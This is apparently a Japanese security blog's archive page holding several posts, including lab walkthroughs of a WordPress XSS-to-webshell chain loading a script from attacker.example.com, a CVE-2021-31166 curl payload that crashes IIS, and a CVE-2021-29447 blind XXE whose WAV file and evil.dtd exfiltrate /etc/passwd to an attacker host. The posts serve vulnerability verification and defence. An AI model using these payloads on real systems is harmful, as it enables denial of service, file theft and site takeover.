　WordPressプラグインの脆弱性は今までも多く報告されていましたが、WPScanが窓口になることでより多くの脆弱性がさばける(CVEが採番)ようになった印象があります。
(IPAに報告したら数年後に処理される軽度な脆弱性であっても、1~3日で処理されるようになりました)

　実際、2020年の3倍近く脆弱性が報告されています。
WPScanの中の人も積極的に脆弱性を探している模様です。

　WordPressプラグイン業界への影響としては、『保守されていないプラグインで脆弱性が見つかる → 修正される気配は無し → プラグインがクローズされる』といった事象が多くみられたので個人的には良い影響があった思っています。

参考

更新履歴

  • 2022年01月19日 新規作成

OSSのIAST、DongTaiをさわる【導入編】

セキュリティ

はじめに

　2021年9月1日、火线安全平台社から「DongTai(ドンタイ) IAST ("洞态IAST"の表記もある)」がOSSとして公開されました。
(IAST = Interactive Application Security Testing)

製品ロゴ

　「グローバルプロフェッショナルIAST分野では初のオープンソースプロジェクト」と記載されていますが、Passive IASTでは世界初のOSSだと思います。

www.anquan419.com

　SaaS版も公開されています。「快速体验」ページから環境を構築することもなくDongTai IASTを試すことができます。

dongtai.io

　本記事では DongTai IAST の導入を説明していきます。

　ドキュメントをメモしていたりするので、こちらもどうぞ。
zenn.dev

環境構築

　以下の環境で動作確認を行いました。

  • DongTai 1.2.0
  • EC2 (t2.medium / メモリ4G)
    • Amazon Linux 2 (5.10.75-79.358.amzn2.x86_64)
  • Docker 20.10.7
    • Docker Compose 1.29.2

DongTaiをリポジトリから取得

# git clone https://github.com/HXSecurity/DongTai.git
# cd DongTai/deploy/docker-compose/

DongTaiを起動

　まずdtctlスクリプトが動作することを確認します。以下のコマンドでヘルプが表示されます。

# ./dtctl
[Info] Usage:
[Usage]     ./dtctl -h                                          Display usage message
[Usage]     ./dtctl install -s mysql,redis  -v 1.0.5            Install iast server
[Usage]     ./dtctl remove|rm [-d]                              Uninstall iast server
[Usage]     ./dtctl upgrade -t 1.1.2                            Upgrade iast server
[Usage]     ./dtctl version                                     Get image version
[Usage]     ./dtctl dbhash                                      Get database schema hash
[Usage]     ./dtctl dbschema                                    Export database schema
[Usage]     ./dtctl dbrestore -f FILEPATH                       Restore mysql database
[Usage]     ./dtctl dbbackup  -d FILEPATH                       Backup mysql database
[Usage]     ./dtctl file                                        Export docker-compose.yml
[Usage]     ./dtctl logs webapi|openapi|web|mysql|web|engine    Extract tail logs

　問題なく動作することが確認できたらインストールを実施します。

# ./dtctl install
[Info] check docker servie status.
[Info] docker service is up.
[Info] check port status
[+] please input web service port, default [80]:
[Info] port 80 is ok.
[Info] Starting docker compose ...
Creating network "dongtai-iast_default" with the default driver
Pulling dongtai-mysql (dongtai/dongtai-mysql:1.2.0)...
1.2.0: Pulling from dongtai/dongtai-mysql
72a69066d2fe: Pull complete
93619dbc5b36: Pull complete
(...snip...)
Creating dongtai-iast_dongtai-engine-task_1 ... done
Creating dongtai-iast_dongtai-web_1         ... done
[Important] Installation success!

docker-compose.yml の中身

　DongTaiの動作には関係ないですが、起動しているコンテナを確認してみます。

　構成情報が記載されているdocker-compose.ymlは削除されるようになっていますが、./dtctl fileコマンドを用いることで、docker-compose.ymlを出力できます。

# ./dtctl file
# cat docker-compose.yml

　出力されたdocker-compose.ymlの内容は以下になっています。

version: "2"
services:
  dongtai-mysql:
    image: dongtai/dongtai-mysql:1.2.0
    restart: always
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/data:/var/lib/mysql:rw"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
  dongtai-redis:
    image: dongtai/dongtai-redis:1.2.0
    restart: always
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
  dongtai-webapi:
    image: "dongtai/dongtai-webapi:1.2.0"
    restart: always
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/webapi/conf/config.ini"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

  dongtai-web:
    image: "dongtai/dongtai-web:1.2.0"
    restart: always
    ports:
      - "80:80"
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/nginx.conf:/etc/nginx/nginx.conf"
    depends_on:
      - dongtai-webapi
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

  dongtai-openapi:
    image: "dongtai/dongtai-openapi:1.2.0"
    restart: always
    volumes:
       - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/openapi/conf/config.ini"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

  dongtai-engine:
    image: "dongtai/dongtai-engine:1.2.0"
    restart: always
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/engine/conf/config.ini"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"


  dongtai-engine-task:
    image: "dongtai/dongtai-engine:1.2.0"
    restart: always
    command: ["/opt/dongtai/engine/docker/entrypoint.sh", "task"]
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/engine/conf/config.ini"
    depends_on:
      - dongtai-engine
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

動作確認

　実際に DongTai を使ってみます。

　現在以下の言語に対応しています。

  • Java
  • Python
  • PHP (ベータ版)

　今回はJavaアプリケーションを用いていきます。

IASTのJavaエージェントの取得

　DongTaiの起動が完了したらアクセスします。

ログイン画面が表示されるので初期ログイン情報(admin/admin)を入力します。

　ログインするとDongTaiが導入されているアプリケーション一覧画面が表示されます。

　まだDongTaiを導入しているアプリケーションがないため、空の状態になっています。

　右上の「＋ Add Agent」ボタンを押下すると、エージェントの導入画面へ遷移することができます。

　「DongTai Java Agent」ボタンを押下してJavaエージェント(agent.jar)をダウンロードします。

脆弱アプリケーションの起動

　 脆弱なアプリケーションには以下のSpring Bootアプリケーションを利用します。
motikan2010/Vulnerability-Spring-Boot

ビルド

　起動前にビルドをします。

$ mvn clean package -Dmaven.test.skip=true

起動

　起動時のコマンドに「-javaagent:agent.jar」オプション含めることで、DongTaiのJavaエージェントをロードします。

$ java -javaagent:agent.jar -jar target/vuln-0.0.1-SNAPSHOT.jar

　起動が成功すると起動ログに「[io.dongtai.agent]~」が表示されます。

$ java -javaagent:agent.jar -jar target/vuln-0.0.1-SNAPSHOT.jar
[io.dongtai.agent] The engine configuration file is initialized successfully. file is /Users/motikan2010/IdeaProjects/Vulnerability-Spring-Boot/config/iast.properties
[io.dongtai.agent] register agent
[io.dongtai.agent] Agent has successfully registered with http://3.xxx.yyy.zzz/openapi
[io.dongtai.agent] engine delay time is 0 s
[io.dongtai.agent] Check if the engine[/var/folders/yw/0wl7x4w56tz9326ncdt107jr0000gn/T//iast-inject.jar] needs to be updated
[io.dongtai.agent] Engine does not exist in local cache, the engine will be downloaded.
[io.dongtai.agent] The remote file http://3.xxx.yyy.zzz/openapi/api/v1/engine/download?engineName=iast-inject was successfully written to the local cache.
[io.dongtai.agent] The remote file http://3.xxx.yyy.zzz/openapi/api/v1/engine/download?engineName=iast-core was successfully written to the local cache.
2022-01-07 06:52:05.870 [cn.huoxian.dongtai.engine] INFO  DongTai Engine is about to be installed, the installation mode is agent
2022-01-07 06:52:05.879 [cn.huoxian.dongtai.engine] INFO  Initialize the core configuration of the engine
2022-01-07 06:52:06.456 [cn.huoxian.dongtai.engine] INFO  The engine's core configuration is initialized successfully.
2022-01-07 06:52:06.456 [cn.huoxian.dongtai.engine] INFO  Start the data reporting submodule
2022-01-07 06:52:06.457 [cn.huoxian.dongtai.engine] INFO  The data reporting submodule started successfully
2022-01-07 06:52:06.458 [cn.huoxian.dongtai.engine] INFO  Register spy submodule
2022-01-07 06:52:06.461 [cn.huoxian.dongtai.engine] INFO  Spy sub-module registered successfully
2022-01-07 06:52:06.461 [cn.huoxian.dongtai.engine] INFO  Install data acquisition and analysis sub-modules
2022-01-07 06:52:07.392 [cn.huoxian.dongtai.engine] INFO  The sub-module of data acquisition and analysis is successfully installed
2022-01-07 06:52:07.394 [cn.huoxian.dongtai.engine] INFO  DongTai Engine is successfully installed to the JVM, and it takes 1 s
2022-01-07 06:52:07.394 [cn.huoxian.dongtai.engine] INFO  Turn on the engine
2022-01-07 06:52:07.395 [cn.huoxian.dongtai.engine] INFO  Engine opened successfully
[io.dongtai.agent] DongTai engine start successfully.
SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
(...snip...)

　アプリケーションの/lfiにアクセスし、「sample.txt」を入力し、送信します。

　ここで重要なのは「../../../../../etc/passwd」といった攻撃コードではなく、正常値である「sample.txt」を入力している点です。

検出した脆弱性の確認

　脆弱性が検出されたことを確認するために DongTai に戻ります。

　DongTai が導入されたアプリケーションが追加されていることが確認できます。

　「应用漏洞」(アプリケーションの脆弱性)から検出された脆弱性を確認することができます。

　検出された脆弱性内に「/lfi 的GET 出现路径穿越漏洞,位置:GET/HEADER」というものがあり、パストラバーサルが無事検出されたことが確認できます。
（パストラバーサルは中国語表記だと"路径穿越"になるそうです。）

　脆弱性を押下することで、脆弱性の詳細情報を見ることできます。

　脆弱性の詳細情報は以下のように表示されます。

　脆弱性があるパラメータなどの情報があります。

　少し下に行くと脆弱性が検出されるまでの流れが表示されます。

　IASTの特徴である「污点来源 (source)」「传播方法 (propagator)」「危险方法 (sink)」を確認することできます。

　ここまでが DongTai の導入方法・使い方でした。

まとめ

  • DongTai は OSS の IAST（ソースコードが見れる！）
  • アプリケーションに導入し、正常系をテストするだけで脆弱性を検出することができる。
  • IASTの実装を見ることができるのは珍しいので、いろいろ分かり次第「【導入篇】」の続きを書いていきたい次第。

豆知識

Active IAST と Passive IAST の違い

　IASTは「Active IAST （アクティブ IAST）」と「Passive IAST （パッシブ IAST）」に分類されます。

　 2つの違いについては「開発者ファーストのアプリケーションセキュリティ完全ガイド」で説明されています。
開発者ファーストのアプリケーションセキュリティ完全ガイド

　IAST には2つのバリアントがあります。

　パッシブ IAST は、テスト環境で実行するアプリケーションに使用します。 アプリケーションでユースケースベースのQAテストを実行すると、エージェントがセキュリティの潜在的な脆弱性を特定します。 このアプローチでは、SAST または DAST を使用して検出できる脆弱性のサブセットも検出します。

　アクティブ IAST は、ライブ環境で実行しているアプリケーションに使用します。 これは DAST ツールの拡張機能として機能します。実行中のアプリケーションにエージェントがインストールされ、アプリケーションに対して DAST テストを実行します。 エージェントはスタックトレース情報を確認し、サーバー側で詳細な動作を分析できるため、DASTのプロセスと結果が改善されます。 アクティブ IAST は、スキャン時間を短縮し、DASTの攻撃結果を検証するのに役立ちます。

　DongTai IAST は Passive IAST に分類されます。

　Active IAST にもOSSには「OpenRASP-IAST（Baidu社 開発）」があります。
baidu-security/openrasp-iast: IAST 灰盒扫描工具

IASTの実装に関して

　IASTの実装に興味のある人は以下の記事がおすすめです。

Log4ShellをRASP(Runtime Application Self-Protection)で対応

セキュリティ Java

　⚠️本記事で紹介するプログラムは教育目的です。実環境でのLog4Shell対策に利用しないでください！

  • はじめに
    • RASPとは
  • 開発・検証環境
  • 実装
    • 脆弱アプリケーション(Spring Boot)側の実装
      • 動作確認 (RASP適用前)
    • RASP の実装
      • AgentMain クラス
      • JndiLookupTransformer クラス
      • RASPロード時の処理のイメージ
      • 動作確認 (RASP適用後)
    • WAFをバイパスするような文字列を送信
  • まとめ
  • 更新履歴

はじめに

　Log4Shell(CVE-2021-44228)の脆弱性に対してのRASP(Runtime Application Self-Protection)を実装する方法を紹介していきます。

　　　　　RASP is ナニ? なひとむけ。

RASPとは

　RASPとは「Runtime Application Self-Protection」の略称であり、アプリケーションに組み込むことでアプリケーションをよりセキュアにするソフトウェアです。
　本記事ではJava製のWebアプリケーションに対して「javaagent」として組み込みます。

　Java以外だと、各言語に応じてPythonの場合はpipライブラリとして提供されていたり、PHPの場合だと拡張モジュールとして提供されていたりします。

　 OSSだと「OpenRASP(Baidu社)」が有名です。

開発・検証環境

　以下のバージョンで動作検証を行いました。

  • Java (AdoptOpenJDK 11.0.8)
    • WebアプリケーションもRASPもこのバーションを利用します。
  • Spring Boot 2.6.1
    • 攻撃対象となるWebアプリケーション
  • Javassist 3.23.1-GA
    • バイトコードを操作するためにライブラリ。RASPを実装する際に利用します。
    • バイトコードを操作するライブラリとしては Byte BuddyやASM などもあります
続きを読む

WordPressで「RCE via XSS」をやる

セキュリティ WordPress

TL;DR

  • WordPressで構築したサイト で XSS から RCE につなげる
    • そのために Webshell を配置

はじめに

　2021年5月7日にECサイトを構築できるソフトウェアである EC-CUBE にXSSの脆弱性があると公表されました。

www.ec-cube.net

　驚くことにこのXSSの脆弱性は既に悪用され、攻撃を受けたサイトではクレジットカード情報の漏洩が確認されたとのこと。

　この件と WordPress にどのような関係があるのかというと、WordPressに導入しているプラグインに XSS が存在している場合に EC-CUBE のときと同様に Webshell を配置することができるかどうかの検証を本記事では行います。

　EC-CUBE が標的となった事例は以下の記事が参考になります。
blog.trendmicro.co.jp

「不正注文」で国内オンラインショップサイトを侵害する攻撃キャンペーン「Water Pamola」 | トレンドマイクロ セキュリティブログ

　本記事では、実際にある WordPress プラグインに発見された XSS を使って Webshell を配置するまでの流れを説明をしていきます。

Webshell が配置されるまでの流れ

検証

　今回の検証環境は以下のとおりです。

WordPressのバージョンが異なると記述してあるスクリプトがうまく動かない可能性があります。

ソフトウェア名 バージョン 備考
WordPress 5.7.2 (2021年6月11現在最新) -
WP GDPR Compliance 1.5.5 XSSの脆弱性があるバージョン

①【管理者】脆弱性が存在しているプラグインのインストール

　この検証の前提として、WordPressサイトに認証不要のXSSの脆弱性がある必要があります。

　WordPressのプラグインは日々脆弱性が発見されています。その中から本検証で利用できそうなものを探し、脆弱性が修正されていないバージョンのプラグインをインストールします。

　今回は「WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS) Security Vulnerability」の脆弱性を利用します。


WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS) Security Vulnerability

　脆弱性の説明には「認証不要で管理画面にXSSできる」と記載がありますので、本検証にはうってつけの脆弱性です。

　このプラグインに興味がある方はググってみてください。日本語の記事もあり、アクティブインストール数も20万以上もあることから人気なプラグインであることがわかります。

　そんな感じで WP GDPR Compliance をインストールしました。バージョンも 1.5.5 であることが確認できます。

　次に脆弱性の検証に必要なプラグインの設定を行います。WP GDPR Compliance の設定画面で下画像の赤枠のよう設定します。
　この設定を行うことによって、後に埋め込まれる JavaScript の項目が表示されるようになります。

　 Requests タブを表示します。
インストール直後は何もデータが無いですが、後々この画面に悪意ある JavaScript が埋め込まれます。

　これで準備は環境です。つまり脆弱なサイトの完成となります。

②【攻撃者】管理画面にスクリプトの埋め込み (XSS)

　次は攻撃者側の準備です。

　まず標的となるサイトの管理画面上で読み込ませたい JavaScript ファイルを作成します。

　このスクリプトの主な処理内容は以下のとおりです。

  • テーマの編集画面からセキュリティトークンの取得
  • system関数を用いたWebshellを404ページに埋め込むためのリクエストを送信

　検証では malware.js のファイル名で保存しているので、XSSで script タグを埋め込む場合はこのファイル名を参照するようにします。

　まずプラグインのXSSを再現させるためにはセキュリティトークンが必要になりますが、サイトトップのHTML内にあります。

　取得したセキュリティトークンを用いて以下のように標的となるサイトにリクエストを送信します。

　攻撃に成功すると<script src=http://attacker.example.com:9000/malware.js><script> がサイト管理画面に挿入されます。

　管理画面にタグが埋め込まれるため攻撃者側からタグの有無は確認できません。

　ひとまず404ページを確認してみます。Webshell が埋め込まれる前は下画像の状態です。

③【管理者】悪意あるJavaScriptの実行

　サイト管理者は「匿名化リクエストの管理画面」を確認したとします。

　ブラウザの表示上は特に異変は何もなさそうですが、この画面のHTMLソースコードを確認してみます。

　攻撃者によって scriptタグが埋め込まれており、攻撃者のXSSスクリプトサーバ上のmalware.jsの読み込みが行われていることが確認できます。

　JSファイルの処理内容は先に説明してある通り、webshell を配置するリクエストを送信する処理でした。
そのためこのファイルが読み込まれた時点で以下のリクエストが送信されていました。

　ステータスコードは200で返ってきていますので、テーマ編集画面から取得したセキュリティトークンの検証も問題なく終え、テーマ編集処理が成功したことが分かります。（サイト管理者からすれば成功してしまった・・・）

　念のためテーマ編集画面から404ページのソースコードを確認してみましたが、やはり勝手に Webshell が埋め込まれていました。

④【攻撃者】Webshellの起動

　そして 404ページは何らかのエラーが表示されるようになりました。
system関数に値を渡せとありますので、無事 webshell の配置することができました。

　任意のコマンドが実行できることも確認できました。

　攻撃は成功したようです。

　今回は webshell 配置をしましたが、管理画面での操作はほとんどできそうです。攻撃者が指定したプラグインのインストール・有効化などもできそうです。（※確認はしていません）

　テーマの404.phpではなくfunctions.phpを書き換えることで 404ページ以外にも影響を与えることも可能そう。

まとめ

　XSS経由で管理者の操作をする攻撃は今後増えていきそう。

　対策もなかなか難しそうな問題とも思ったり...。

　Webshell に改ざんした時に駆除されたり。
(でも実際のWebshellは複雑で検知されないものもあるので、スキャンツールに頼りすぎないように)

更新履歴

  • 2021年6月11日 新規作成

CVE-2021-31166 やる

セキュリティ
f:id:motikan2010:20210521180447p:plain

はじめに

　今回は特定の Windows 環境で動作する CVE-2021-31166 (HTTP Protocol Stack Remote Code Execution) を検証していきます。
（PoCを動かすだけのク○記事を量産することに引け目を感じますが・・・(´・ω・)。）

CVE-2021-31166 の影響を受けるソフトウェアなどの詳細情報はこちらにあります。
msrc.microsoft.com

　脆弱性の詳細などはこちらにあります。 www.mcafee.com

unauthenticated denial-of-service (Blue Screen of Death)

ということで、認証なしにターゲットとなるサーバをブルースクリーンにすることができてしまう脆弱性です。

環境構築

　AWS EC2 上で「Windows Server, version 20H2 (Server Core Installation)」を動かし検証を進めていきます。

EC2 の起動

　2021年5月のセキュリティパッチが適用されてない AMI である「Windows_Server-20H2-English-Core-Base-2021.04.14 (ami-02b7a976673d1d133)」を選択して起動します。

f:id:motikan2010:20210520000826p:plain:w600

　（最初、誤ってセキュリティパッチ適用済みである「Microsoft Windows Server 20H2 Core Base (ami-0e2c9cfe1973e9a42)」を導入してしまい脆弱性の再現ができないといったことがありました。）

　インスタンスが起動したらパスワードを取得し、RDSで Windows Server に接続します。
aws.amazon.com

　パスワード取得はインスタンス起動後直後にはできなく、4分ほど待つ必要がありました。
f:id:motikan2010:20210520000751p:plain:w500

IIS(Internet Information Services) の導入

　まずは Windows PowerShell を起動し IIS が導入されているのかを確認します。

C:\Users\Administrator>powershell

PS C:\Users\Administrator>Get-WindowsFeature -Name Web-*

f:id:motikan2010:20210520000755p:plain:w600

　各項目で [ ] となっているので入っていなさそうです。

　以下のコマンドで IIS を導入します。

PS C:\Users\Administrator>Install-WindowsFeature Web-Server -IncludeAllSubFeature

　IIS が導入されたかを再度確認します。
f:id:motikan2010:20210520000803p:plain:w600

　念のため本脆弱性のパッチが適用されていないこと確認をします。以下のコマンドで確認できます。

PS C:\Users\Administrator>wmic qfe list

f:id:motikan2010:20210520000818p:plain:w600

　2021年4月までのパッチしか適用されていないことが確認できました。

ブラウザでアクセス

　ブラウザで IIS にアクセスします。以下のような画面が表示されていたら導入は完了です。
f:id:motikan2010:20210520000811p:plain:w600

脆弱性を試す

PoC を動かす & サーバが落ちたことの確認

　本脆弱性の PoC は既に GitHub 上で公開されています。 github.com

　上記リポジトリでは Python で実装されていますが、curl コマンドでも問題なので curl コマンドで検証行っていきます。

PoC 通りに Accept-Encodingヘッダーの値に「doar-e, ftw, imo, ,」を指定して送信します。

$ curl 'http://target.example.com/' -H 'Accept-Encoding: doar-e, ftw, imo, ,'
curl: (52) Empty reply from server

　先ほどアクセスした IIS の画面を更新してみます。下の画像では分かりづらいですが、レスポンスが返ってこない状態となります。
RDS の接続も切断されることも確認できます。
f:id:motikan2010:20210520000821p:plain:w600

　curl でアクセスしてみても同様にレスポンスが返却されないことが確認できます。

$ curl 'http://target.example.com/' -m 10
curl: (28) Operation timed out after 10002 milliseconds with 0 bytes received

　EC2 のモニタリング画面でもサーバが落ちたことを確認できます。
f:id:motikan2010:20210520001222p:plain:w500

　そして、Accept-Encodingヘッダー値は「doar-e, ftw, imo, ,」以外でも問題なく「1,,」という値でも再現します。

脆弱性の技術的な内容は PoC のリポジトリを参照ください。なんとなく分かるはずです。（私は1㍉もわかりませんでした）

$ curl 'http://target.example.com/' -H 'Accept-Encoding: 1,,'
curl: (52) Empty reply from server

【おまけ】 WAF (ModSecurity) でブロックしてみる

　PoC を動かすだけでは内容が寂しいので WAF (ModSecurity) のルールを書いてみました。

Accept-Encodingヘッダの仕様に詳しくない私が書いているので、あくまで参考程度に...。

SecRule REQUEST_HEADERS:Accept-Encoding "@rx .*,\s*," \
    "id:2,\
    t:none,log,deny,\
    msg:'CVE-2021-31166'"

　以下のようにブロックできてる。（っぽい）

$ curl 'http://target.example.com' -H 'Accept-Encoding: doar-e, ftw, imo, ,'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.15.12</center>
</body>
</html>

$ curl 'http://target.example.com/' -H 'Accept-Encoding: 1,,'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.15.12</center>
</body>
</html>

まとめ

Windows Server にさわる機会はすくないので助かる。
PowerShell is ナニ。
そしてインスタンスの停止忘れで死んだ。

更新履歴

  • 2021年5月19日 新規作成
  • 2021年5月21日 サムネイル修正

WordPress の XXE(CVE-2021-29447) やる

セキュリティ WordPress

はじめに

　2021年4月15日に WordPress 5.7.1 がリリースされ、脆弱性が2つ修正されました。

wordpress.org

　その中の1つであるXXEの脆弱性(CVE-2021-29447) を検証していきます。
具体的には『Blind XXE』を使ってターゲットとなるWordPressサイトにからで /etc/passwdファイルの中身を取得します。

　悪意あるXMLコードを含んだWAVファイル(.wav)をアップロードすることで脆弱性を悪用できますが、メディアをアップロードできるロールは以下の通りです。

　「投稿者 (Author)」以上のロールのアカウントがこの脆弱性を利用できます。

ロール メディアのアップロード
購読者 (Subscriber) できない
寄稿者 (Contributor) できない
投稿者 (Author) できる
編集者 (Editor) できる
管理者 (Administrator) できる

脆弱性の修正内容

　脆弱性の修正コミットはこちらです。
External libraries: Include upstream GetID3 fix for PHP 8. · WordPress/WordPress@c29db9c · GitHub

脆弱性の修正内容

　PHP のバージョンが8以上でも libxml_disable_entity_loader(true)関数 を呼び出すように修正されています。

脆弱性の検証

　検証環境は以下の通りです。

　ホストPCの各ソフトウェアのバージョンは記載しているもの以外でも動作すると思います。

  • ホストPC
    • Mac OS
    • Docker 20.10.5 → WordPress を動作に使う
    • PHP 7.3.21 → 攻撃者Webサーバを動作に使う
    • npm 7.7.0 → 攻撃用WAVファイルを生成に使う
  • WordPress Docker 環境
    • WordPress 5.7
    • PHP 8

　下のリポジトリ内のコードを用いて脆弱性の検証を行っていきます。

github.com

WordPressの起動

　Dockerで攻撃対象となる WordPress を起動します。WordPressのバージョンは 5.7 です。
そして初期設定としてサイト名や管理者アカウント情報などを設定します。

$ make up-wp
docker-compose up
Creating network "cve-2021-29447_default" with the default driver
Creating cve-2021-29447_db_1 ... done
Creating cve-2021-29447_wordpress_1 ... done
Attaching to cve-2021-29447_db_1, cve-2021-29447_wordpress_1

アカウントの確認

　検証で使用するアカウントを作成します。

　メディアをアップロードできるロールの中で一番権限の弱い「投稿者 (Author)」アカウントを作成します。

攻撃用WAVファイルの生成

　iXML チャンク部分に攻撃コードを含んだ WAVファイル(.wav) を作成していきます。

　iXML チャンクを操作するために wavefile というnpmライブラリを使いました。

github.com

　WAVファイルを生成するコードは下のようになっています。

　setiXML関数の引数に iXML チャンクの内容を記述します。攻撃者Webサーバの DTDファイルを取得するXMLを定義しています。

const fs = require('fs');
const wavefile = require('wavefile');

let wav = new wavefile.WaveFile();
wav.fromScratch(1, 44100, '32', [0, -2147483, 2147483, 4]);
wav.setiXML('<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM \'http://host.docker.internal:8001/evil.dtd\'>%remote;%init;%trick;]>');
fs.writeFileSync('malicious.wav', wav.toBuffer());

　作成したmalicious.wavに攻撃コードが含まれていることが確認できます。 WAVファイルの生成

　ちなみに iXML チャンクの説明は以下の通り。ファイルのメタデータを格納する領域とのこと。

iXML チャンクを挿入 (Insert iXML Chunk)
プロジェクト名、作成者、フレームレートなどのプロジェクト関連の付加的な情報を追加します。

steinberg.help

攻撃者Webサーバを起動

　攻撃者Webサーバを起動します。
本来ではインターネット上で動作させて攻撃対象WordPressからリクエストを受け付けますが、検証ではホストPC上で動作させています。

攻撃者Webサーバを起動

　コンテナ内からホストPCにアクセスするためには host.docker.internal ドメインを使用します。

# curl http://host.docker.internal:8001/evil.dtd -v

> GET /evil.dtd HTTP/1.1
> Host: host.docker.internal:8001
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Host: host.docker.internal:8001
< Date: Sun, 18 Apr 2021 02:12:22 GMT
< Connection: close
< Content-Type: application/xml-dtd
< Content-Length: 193
<
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://host.docker.internal:8001/?p=%file;'>" >

WAVファイルのアップロード

　 WordPressの管理画面にログインし、先ほど生成したWAVファイルをアップロードします。

　投稿者ロールのアカウントであるため、管理者ロールと比べてできることが少ないですがメディアのアップロードは可能です。

WAVファイルのアップロード

　WAVファイルをアップロードした瞬間に攻撃者Webサーバへ攻撃対象WordPressからアクセスがあります。

攻撃者Webサーバのログを確認

　アクセスログから evil.dtd と 謎のBase64文字列 へのアクセスが確認できます。

攻撃者Webサーバのログ

　赤枠で囲っている部分が /etc/passwdファイルの内容です。圧縮&エンコードされているので今は読めませんが...。

ログから取得した文字列の解凍

　ファイル内容は zlibで圧縮後、Base64エンコード されているため、そのまま読むことはできませんが Base64デコード後、zlibで解凍 することで読むことができるようになります。

取得した文字列の解凍

ファイル内容を確認

　取得するデータを圧縮する工夫をしていますが /var/www/html/wp-config.php ファイルはサイズの問題なのか取得することができませんでした...。 https://www.synacktiv.com/ressources/synacktiv_drupal_xxe_services.pdf#page=11

まとめ

　以上が脆弱性の検証でした。

　脆弱性が発生した理由は PHP 8以上時には、libxml_disable_entity_loader関数を呼び出していことがありました。

脆弱性の修正内容
脆弱性の修正内容

　ドキュメントの方には この関数は PHP 8.0.0 で 非推奨になります。 と記載があります。

しかし、下記のような記載があるので今回の場合は libxml_disable_entity_loader関数 を使う必要がようです。

libxml 2.9.0 以降では、エンティティの置換はデフォルトで無効になっているため、 LIBXML_NOENT を使って内部エンティティの参照を解決する必要がない限り、 外部エンティティの読み込みを無効にする必要はありません。

libxml_disable_entity_loader 関数の説明

PHP: libxml_disable_entity_loader - Manual

　昨今では libxml 2.9.0 のように、デフォルトが安全な方になっていてセキュリティ面で意識しなくても良いようになってきていますが、特定の条件下(今回の場合はLIBXML_NOENTを引数に渡している)では脆弱になるということに注意する必要があると思った次第です。

参考

更新履歴

  • 2021年4月23日 「MAVファイル」を「WAVファイル」に修正
  • 2021年4月18日 新規作成

ServerlessGoat for Python を作ったので紹介

セキュリティ AWS
f:id:motikan2010:20210322225816g:plain:w600

はじめに

　まず「OWASP ServerlessGoat」というのはサーバレス環境を想定したアプリケーションセキュリティを学習するためのツールです。
脆弱性が含まれているアプリケーションのデプロイができ、実際に攻撃することでセキュリティの学習を行うことができます。

　その「OWASP ServerlessGoat」の Python 版を作成・公開したので共有します。 github.com

　すでに Java 版は存在していましたが、Python 版は見当たらなかったので作成しました。

↓ Java 版 の OWASP ServerlessGoat GitHub - CodeShield-Security/Serverless-Goat-Java: Java version of the deliberately vulnerable serverless application Serverless-Goat from https://github.com/OWASP/Serverless-Goat

　OWASP ServerlessGoat の具体的な学習内容は下の記事が参考になります。
サーバーレスやられアプリを使った脆弱性診断ハンズオン - Qiita

　また、似たような学習ツールに「OWASP DVSA」というものがあります。
GitHub - OWASP/DVSA: a Damn Vulnerable Serverless Application

OWASP ServerlessGoat の注意

　ベースとなっている OWASP ServerlessGoat で学習を進めるにあたってはいくつか注意点があります。

　リポジトリのサポートが止まっていることが主な原因なのですが、学習を進めるに当たって知っていた方がいいので列挙します。

GitHub - OWASP/Serverless-Goat: OWASP ServerlessGoat: a serverless application demonstrating common serverless security flaws

1. 更新が止まっている

　PureSec 社がメンテナンスしていますが、2019年5月に買収されたのが原因なのかメンテナンスが行われていません。

　CloudFormationテンプレート内のLamdaのランタイムが「nodejs8.10」で作成されているので、現在のLambdaでは起動することができません。

　起動する場合は各自でテンプレートを編集してデプロイする必要があります。

2. Lambda ランタイムが Node.js

　注意点というよりは理想ですが、やられアプリはシェアの高い環境下を想定されているものがいいと考えています。

　Datadog 社の調査によると 2019年 Lambda ランタイムは Python のほうが人気とのこと。
しかし OWASP ServerlessGoat は Node.js のみをサポートしている状態です。

f:id:motikan2010:20210317222554p:plain:w400

サーバレスの現状 the State of Serverless | Datadog

3. PureSec 社のサイト消失

　ServerlessGoat を利用しての学習を進める上で https://puresec.io/hubfs/document.doc の Word ファイルにアクセスして正常動作を確認する場合がありますが、既にこのファイルは存在しておらず正常動作を確認できない状態となっています。正常動作を確認するには適当な Word ファイルを見つけてアクセスする必要があります。

　正常動作が確認できないだけで、脆弱性を使った学習に影響はありません。

使い方

　私は sam コマンドを使ってビルド・デプロイをしました。

$ sam --version
SAM CLI, version 1.20.0

ビルド

$ sam build --use-container

デプロイ

$ sam deploy --stack-name "serverless-goat-pyton" --guided

※ serverless-goat-pytonの部分は任意の文字列

　下画像がトップ画面です。Word ファイルはリポジトリ内にホスティングするようにしています。

f:id:motikan2010:20210318010310p:plain:w600

学習

Lesson 4: Exploiting Over-Privileged IAM Roles

　DynamoDB から全データを取得する項目ですが Python で記述すると以下のようになります。

